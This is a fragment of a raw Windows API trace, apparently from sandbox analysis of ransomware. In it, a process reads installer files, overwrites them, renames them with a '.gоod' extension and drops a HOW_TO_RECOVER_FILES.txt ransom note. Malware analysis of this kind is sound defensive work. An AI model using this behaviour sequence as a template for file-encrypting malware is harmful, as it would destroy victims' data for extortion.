0x768 [0080.315] GetFileType (hFile=0x768) returned 0x1 [0080.315] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0080.315] GetFileType (hFile=0x768) returned 0x1 [0080.315] WriteFile (in: hFile=0x768, lpBuffer=0x34169d8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f6edd28, lpOverlapped=0x0 | out: lpBuffer=0x34169d8*, lpNumberOfBytesWritten=0x1f6edd28*=0x1010, lpOverlapped=0x0) returned 1 [0080.315] CloseHandle (hObject=0x768) returned 1 [0080.316] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1028\\eula.rtf", lpFilePart=0x0) returned 0x23 [0080.316] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf.gоod", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1028\\eula.rtf.gоod", lpFilePart=0x0) returned 0x28 [0080.316] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edc60) returned 1 [0080.316] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0x1f6edd40 | out: lpFileInformation=0x1f6edd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x2c155241, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x18b5)) returned 1 [0080.316] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc20) returned 1 [0080.316] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf.gоod" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf.gоod")) returned 1 [0080.318] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0080.318] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edca0) returned 1 [0080.318] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0x36a5108 | out: lpFileInformation=0x36a5108*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed90)) returned 1 [0080.319] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc60) returned 1 [0080.319] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0080.319] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0080.319] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0080.319] GetFileType (hFile=0x768) returned 0x1 [0080.319] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0080.319] GetFileType (hFile=0x768) returned 0x1 [0080.319] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f6edcf8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f6edcf8*=0) returned 0x1000 [0080.320] ReadFile (in: hFile=0x768, lpBuffer=0x36a54d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edcc8, lpOverlapped=0x0 | out: lpBuffer=0x36a54d0*, lpNumberOfBytesRead=0x1f6edcc8*=0x1000, lpOverlapped=0x0) returned 1 [0080.321] CloseHandle (hObject=0x768) returned 1 [0080.321] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0080.321] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0080.321] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0080.321] GetFileType (hFile=0x768) returned 0x1 [0080.321] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0080.321] GetFileType (hFile=0x768) returned 0x1 [0080.321] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f6edcf8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f6edcf8*=0) returned 0xed90 [0080.321] WriteFile (in: hFile=0x768, lpBuffer=0x36a6740*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6edbe8, lpOverlapped=0x0 | out: lpBuffer=0x36a6740*, lpNumberOfBytesWritten=0x1f6edbe8*=0x10, lpOverlapped=0x0) returned 1 [0080.322] CloseHandle (hObject=0x768) returned 1 [0080.324] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0080.325] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0080.325] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0080.325] GetFileType (hFile=0x768) returned 0x1 [0080.325] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0080.325] GetFileType (hFile=0x768) returned 0x1 [0080.325] ReadFile (in: hFile=0x768, lpBuffer=0x36a89d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edc78, lpOverlapped=0x0 | out: lpBuffer=0x36a89d8*, lpNumberOfBytesRead=0x1f6edc78*=0x1000, lpOverlapped=0x0) returned 1 [0080.559] CloseHandle (hObject=0x768) returned 1 [0080.559] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0080.559] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0080.559] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0080.559] GetFileType (hFile=0x768) returned 0x1 [0080.560] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0080.560] GetFileType (hFile=0x768) returned 0x1 [0080.560] WriteFile (in: hFile=0x768, lpBuffer=0x3203930*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f6edd28, lpOverlapped=0x0 | out: lpBuffer=0x3203930*, lpNumberOfBytesWritten=0x1f6edd28*=0x1010, lpOverlapped=0x0) returned 1 [0080.560] CloseHandle (hObject=0x768) returned 1 [0080.561] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0080.561] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml.gоod", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml.gоod", lpFilePart=0x0) returned 0x31 [0080.561] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edc60) returned 1 [0080.561] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0x1f6edd40 | out: lpFileInformation=0x1f6edd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x2c3b77b8, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xeda0)) returned 1 [0080.562] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc20) returned 1 [0080.562] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml.gоod" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml.gоod")) returned 1 [0080.562] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6ed940, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1028\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x33 [0080.562] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ede60) returned 1 [0080.562] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\588bce7c90097ed212\\1028\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0080.563] GetFileType (hFile=0x768) returned 0x1 [0080.563] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eddd0) returned 1 [0080.563] GetFileType (hFile=0x768) returned 0x1 [0080.564] WriteFile (in: hFile=0x768, lpBuffer=0x32ad800*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6edf28, lpOverlapped=0x0 | out: lpBuffer=0x32ad800*, lpNumberOfBytesWritten=0x1f6edf28*=0x5d0, lpOverlapped=0x0) returned 1 [0080.565] CloseHandle (hObject=0x768) returned 1 [0080.565] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edef0) returned 1 [0080.565] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1029", nBufferLength=0x105, lpBuffer=0x1f6ed990, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1029", lpFilePart=0x0) returned 0x1a [0080.565] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\*", lpFindFileData=0x1f6edc10 | out: lpFindFileData=0x1f6edc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32b90 [0081.163] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.196] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0081.196] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13c4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0081.196] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0081.196] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0081.196] FindClose (in: hFindFile=0x1ec32b90 | out: hFindFile=0x1ec32b90) returned 1 [0081.196] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ede30) returned 1 [0081.196] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eddf0) returned 1 [0081.197] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edef0) returned 1 [0081.197] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1029", nBufferLength=0x105, lpBuffer=0x1f6ed990, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1029", lpFilePart=0x0) returned 0x1a [0081.197] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\*", lpFindFileData=0x1f6edc10 | out: lpFindFileData=0x1f6edc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1dc40 [0081.197] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.197] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0081.197] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13c4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0081.197] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0081.198] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0081.198] FindClose (in: hFindFile=0x1ec1dc40 | out: hFindFile=0x1ec1dc40) returned 1 [0081.198] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ede30) returned 1 [0081.198] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eddf0) returned 1 [0081.198] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1029\\eula.rtf", lpFilePart=0x0) returned 0x23 [0081.198] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edca0) returned 1 [0081.198] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0x3405ed8 | out: lpFileInformation=0x3405ed8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe8e)) returned 1 [0081.199] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc60) returned 1 [0081.199] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed630, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1029\\eula.rtf", lpFilePart=0x0) returned 0x23 [0081.199] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edb50) returned 1 [0081.199] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0081.199] GetFileType (hFile=0x778) returned 0x1 [0081.199] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edac0) returned 1 [0081.199] GetFileType (hFile=0x778) returned 0x1 [0081.199] GetFileSize (in: hFile=0x778, lpFileSizeHigh=0x1f6edcf8 | out: lpFileSizeHigh=0x1f6edcf8*=0x0) returned 0xe8e [0081.199] ReadFile (in: hFile=0x778, lpBuffer=0x3406f70, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edc28, lpOverlapped=0x0 | out: lpBuffer=0x3406f70*, lpNumberOfBytesRead=0x1f6edc28*=0xe8e, lpOverlapped=0x0) returned 1 [0081.200] CloseHandle (hObject=0x778) returned 1 [0081.504] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed630, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1029\\eula.rtf", lpFilePart=0x0) returned 0x23 [0081.504] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edb50) returned 1 [0081.504] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x798 [0081.505] GetFileType (hFile=0x798) returned 0x1 [0081.505] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edac0) returned 1 [0081.505] GetFileType (hFile=0x798) returned 0x1 [0081.505] WriteFile (in: hFile=0x798, lpBuffer=0x3289b88*, nNumberOfBytesToWrite=0xe90, lpNumberOfBytesWritten=0x1f6edb38, lpOverlapped=0x0 | out: lpBuffer=0x3289b88*, lpNumberOfBytesWritten=0x1f6edb38*=0xe90, lpOverlapped=0x0) returned 1 [0081.506] CloseHandle (hObject=0x798) returned 1 [0081.507] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1029\\eula.rtf", lpFilePart=0x0) returned 0x23 [0081.507] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf.gоod", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1029\\eula.rtf.gоod", lpFilePart=0x0) returned 0x28 [0081.507] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edc60) returned 1 [0081.507] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0x1f6edd40 | out: lpFileInformation=0x1f6edd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x2cca8324, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xe90)) returned 1 [0081.508] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc20) returned 1 [0081.508] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf.gоod" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf.gоod")) returned 1 [0081.819] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0081.819] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edca0) returned 1 [0081.819] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0x3307a88 | out: lpFileInformation=0x3307a88*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13c4a)) returned 1 [0081.819] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc60) returned 1 [0081.819] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0081.819] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0081.819] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x798 [0081.819] GetFileType (hFile=0x798) returned 0x1 [0081.819] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0081.819] GetFileType (hFile=0x798) returned 0x1 [0081.819] SetFilePointer (in: hFile=0x798, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f6edcf8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f6edcf8*=0) returned 0x1000 [0081.819] ReadFile (in: hFile=0x798, lpBuffer=0x3307e50, 